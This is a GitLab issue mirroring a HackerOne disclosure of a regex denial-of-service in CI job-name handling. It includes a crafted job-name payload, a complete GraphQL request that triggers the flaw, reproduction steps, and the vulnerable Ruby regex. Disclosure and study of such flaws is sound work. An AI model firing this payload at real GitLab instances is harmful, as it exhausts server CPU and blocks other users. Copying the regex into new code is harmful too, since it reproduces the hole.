Backend: ReDoS on CI Editor and CI Pipeline detail pages
HackerOne report #1353058 by stunninglemon
on 2021-09-27, assigned to @vdesousa:
Report | Attachments | How To Reproduce
Report
Summary
CI/CD Job names can be crafted to cause a regex DoS attack on the server side. The attack can be triggered either in the CI/CD Editor if the user has write access or on CI/CD Pipeline detail page if the user has read access to the CI/CD.
Steps to reproduce
On the CI/CD Editor page
- Create a repository
- Go to
CI/CD
>Editor
- Click
Create new CI/CD Pipeline
- Replace the code with the following
":[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:":
script:
- echo "hi"
As the code changes, the editor will try to validate the new code and the attack is launched.
The time scales exponentially with respect to the size of the []:
pattern (the pattern in the code above makes my CPU spike to 100% for about 10 seconds).
On the CI/CD Pipeline detail page
- Follow the previous instruction and submit the changes in the editor
- Go to
CI/CD
>Pipelines
- Open the newly created pipeline to launch the attack by clicking on its
ID
. ThePipeline
tab will hang for multiple seconds.
It is also possible to reproduce both of these attacks with a single HTTP request.
For example the request from the CI/CD Pipeline detail page (fields between < >
must be changed)
POST /api/graphql HTTP/1.1
Host: <HOST>
Content-Type: application/json
X-CSRF-Token: <CSRF-TOKEN>
Origin: http://<HOST>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Cookie: <COOKIES>
Connection: close
{"query":"fragment LinkedPipelineData on Pipeline {\n __typename\n id\n iid\n path\n status: detailedStatus {\n __typename\n group\n label\n icon\n }\n sourceJob {\n __typename\n name\n }\n project {\n __typename\n name\n fullPath\n }\n}\n\nquery getPipelineDetails($projectPath: ID!, $iid: ID!) {\n project(fullPath: $projectPath) {\n __typename\n pipeline(iid: $iid) {\n __typename\n id\n iid\n complete\n usesNeeds\n userPermissions {\n updatePipeline\n }\n downstream {\n __typename\n nodes {\n ...LinkedPipelineData\n }\n }\n upstream {\n ...LinkedPipelineData\n }\n stages {\n __typename\n nodes {\n __typename\n name\n status: detailedStatus {\n __typename\n action {\n __typename\n icon\n path\n title\n }\n }\n groups {\n __typename\n nodes {\n __typename\n status: detailedStatus {\n __typename\n label\n group\n icon\n }\n name\n size\n jobs {\n __typename\n nodes {\n __typename\n name\n scheduledAt\n needs {\n __typename\n nodes {\n __typename\n name\n }\n }\n status: detailedStatus {\n __typename\n icon\n tooltip\n hasDetails\n detailsPath\n group\n action {\n __typename\n buttonTitle\n icon\n path\n title\n }\n }\n }\n }\n }\n }\n }\n }\n }\n }\n}\n","variables":{"projectPath":"<username>/<repo_name>","iid":1}}
Impact
The CPU of the server will spike to 100% for as long as the attacker wants (based on the job name size). The attack can be repeated an unlimited number of times and does not require any user interaction. The client wont be able to validate the pipeline in the web editor nor access the Pipeline tab on the Pipeline detail page.
Any user with read access (or everyone if the repository and CI/CD is set to public) will inadvertently launch an attack just by visiting the Pipeline detail page.
What is the current bug behavior?
The regex used to separate the name of the job from it's group runs in exponential time in the worst case. The relevant code is located in the file app/models/commit_status.rb
def group_name
name.to_s.sub(%r{([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z}, '').strip
end
Please see https://www.regular-expressions.info/catastrophic.html for more information about bad regex's and some solutions.
What is the expected correct behavior?
The above code should run in linear time (quadratic time will lead to the same result but with input size of a few hundred to a few thousand characters).
Results of GitLab environment info
GitLab installed from docker
sudo docker exec -it gitlab gitlab-rake gitlab:env:info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.4p191
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.0.14
Git Version: 2.33.0.
Sidekiq Version:5.2.9
Go Version: unknown
GitLab information
Version: 14.3.0-ee
Revision: dec73e99fdd
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.7
URL: http://gitlab.local
HTTP Clone URL: http://gitlab.local/some-group/some-project.git
SSH Clone URL: git@gitlab.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 13.21.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Examples
The attached file contains an exported repository with the results from the steps described above.
Impact
The CPU of the server will spike to 100% for as long as the attacker wants (based on the job name size). The attack can be repeated an unlimited number of times and does not require any user interaction. The client wont be able to validate the pipeline in the web editor nor access the Pipeline tab on the Pipeline detail page.
Any user with read access (or everyone if the repository and CI/CD is set to public) will inadvertently launch an attack just by visiting the Pipeline detail page.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: